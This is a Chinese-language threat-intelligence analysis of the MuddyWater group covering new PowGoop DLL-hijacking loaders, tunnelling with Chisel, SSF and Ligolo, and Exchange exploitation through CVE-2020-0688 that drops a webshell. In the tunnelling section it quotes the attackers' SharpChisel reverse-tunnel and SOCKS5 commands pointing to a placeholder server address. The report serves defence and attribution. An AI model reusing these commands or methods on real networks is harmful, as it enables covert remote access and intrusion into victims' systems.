MuddyWater 通常被認為是由伊朗政府支持的攻擊者,根據目前最新的分析,美國網絡司令部已將此活動歸咎於伊朗情報部(MOIS)。最近,美國網絡司令部指出MuddyWater 使用了多個惡意軟件集。其中,PowGoop 與我們在最近事件中分類的活動相關。
分析新PowGoop 變種PowGoop 是Palo Alto 首次發現的惡意軟件家族,它利用DLL 搜索命令劫持(T1574.001)。該名稱源自使用“GoogleUpdate.exe”來加載“goopdate.dll”的惡意修改版本,該版本用於從外部文件加載惡意PowerShell 腳本。
我們發現了涉及重大變化的更新版本的PowGoop加載器,這表明即使在最近的曝光後,該組織仍在繼續使用和維護它。這些新變種顯示,該攻擊組織已經擴大了其用於裝載惡意dll的合法軟件的武器庫。除了“GoogleUpdate.exe”之外,還有三個良性軟件被濫用,以輔助加載惡意dll:“Git.exe”、“FileSyncConfig.exe”和“inno_update .exe”。
每個DLL包含一個修改後的DLL和一個重命名的真實DLL。被劫持的DLL包含源自重命名後的對應DLL的導入,以及攻擊者編寫的兩個附加函數。被劫持的dll列表如下:
與以前的版本不同,被劫持的DLL 嘗試反射式加載兩個附加文件,一個名為“Core.dat”,它是從導出“DllReg”調用的shellcode,另一個名為“Dore.dat”,它是一個PE 文件,帶有一個“MZRE”標頭,允許它作為shellcode 執行,類似於從導出“DllRege”調用的公開報告的技術。
這兩個' .dat '文件對於每個被劫持的dll都是相同的,並且都是在各自的導出上使用rundll32執行的,這會將文件從磁盤讀取到虛擬分配的緩衝區,然後調用讀取數據中的偏移量0。
“Dore.dat”和“Core.dat”搜索名為“config.txt”的文件,並使用PowerShell以類似於舊版本(T1059.001)的方式運行它。這兩個組件在功能上的重疊並不清楚;然而,很明顯,“Core.dat”代表了PowGoop 更成熟和進化的版本,因為它作為shellcode 加載,使其不太可能被靜態檢測到。
還值得注意的是,兩個組件都沒有必要駐留在受感染的系統上,因為惡意軟件可以通過其中任何一個成功執行。鑑於此,有可能將其中一個或另一個用作備份組件。在撰寫本文時,無法檢索到“config.txt”中的PowerShell 有效負載。
新的PowGoop變體的執行流程
MuddyWater隧道活動MuddyWater活動背後的操作人員非常喜歡隧道工具,該組織使用的自定義工具通常功能有限,用於放棄隧道工具,使操作者能夠進行更廣泛的活動。 MuddyWater的攻擊者使用的隧道工具有Chisel、SSF和Ligolo。
隧道活動的性質常常令人困惑,下面是攻擊者對一些受害者執行的命令,有助於澄清他們對此類工具的使用情況:
SharpChisel.execlientxx.xx.xx.xx:8080r:8888:127.0.0.1:9999在客戶端執行中使用的“r”標誌意味著服務器在“反向”模式下運行。根據Chisel的文檔,
設置--reverse 標誌,“允許客戶端在正常遠程之外指定反向端口轉發遠程”。
在這種情況下,“SharpChisel.exe”客戶端在受害者設備上運行,通過端口8080 連接回Chisel 服務器,並指定將來自服務器端口8888 的任何內容轉發到客戶端的端口9999。
這乍一看可能有點奇怪,因為在Windows設備上通常不使用端口9999,而且沒有綁定到任何特定的服務。這是在隨後的反向隧道設置一個Chisel SOCKS5服務器受害者,等待傳入連接端口9999:
SharpChisel.exeserver-p9999--socks5通過在設備上設置Chisel的服務器和客戶端實例,操作人員使自己能夠通過SOCKS5支持的各種協議。這實際上在隧道內創建了一個隧道。鑑於此,運營商很可能會通過端口8888 向服務器發起SOCKS 流量,從而將流量從感興趣的應用程序傳輸到網絡內部。
Chisel和其他隧道工具的使用有效地使攻擊行動者能夠連接到目標環境中的設備,就好像它們在運營商LAN 中一樣。
使用Chisel 進行MuddyWater 隧道挖掘
攻擊利用在跟踪MuddyWater的活動時,我們發現了一個針對知名組織Exchange服務器的有趣的活動子集。 Exchange漏洞利用活動的這個子集相當有趣,因為如果沒有上下文,很難將其歸因於MuddyWater,因為該活動幾乎完全依賴於公開可用的攻擊性安全工具。
攻擊者試圖使用兩種不同的工具來利用Exchange服務器:
用於利用CVE-2020-0688 (T1190)的公開腳本;
一個開源的Exchange開發框架;
CVE-2020-0688 漏洞利用對所觀察到的活動的分析表明,MuddyWater攻擊組織試圖利用CVE-2020-0688攻擊中東的政府組織。該漏洞允許通過身份驗證的用戶執行遠程代碼。 MuddyWater 操作員試圖運行的特定漏洞被用來刪除webshell。
使用PowerShell命令將webshell內容寫入到特定的路徑“/ecp/HybridLogout.aspx”。 webshell等待參數“cmd”,並使用XSL腳本處理(T1220)在其中運行命令。
webshell MuddyWater的一個片段試圖上傳到Exchange服務器
此活動與來自名為fuckchina_v2.py 的Github 存儲庫中的CVE-2020-0688 漏洞利用腳本高度相關。該腳本利用CVE-2020-0688 將ASPX webshell 上傳到路徑:“/ecp/HybridLogout.aspx” (T1505.003)。它也是唯一可公開獲得的CVE-2020-0688 實現之一,它會刪除Web shell。
CVE-2020-0688 漏洞利用腳本片段
總結對MuddyWater活動的分析表明,該組織在繼續發展和調整他們的技術。儘管該組織仍然依賴於公開可用的攻擊性安全工具,但它已經改進了自定義工具集,並利用新技術來避免被發現。這可以通過本報告中觀察和分析的三個不同的活動來觀察到:PowGoop惡意軟件家族的演變、隧道工具的使用以及針對Exchange服務器的攻擊。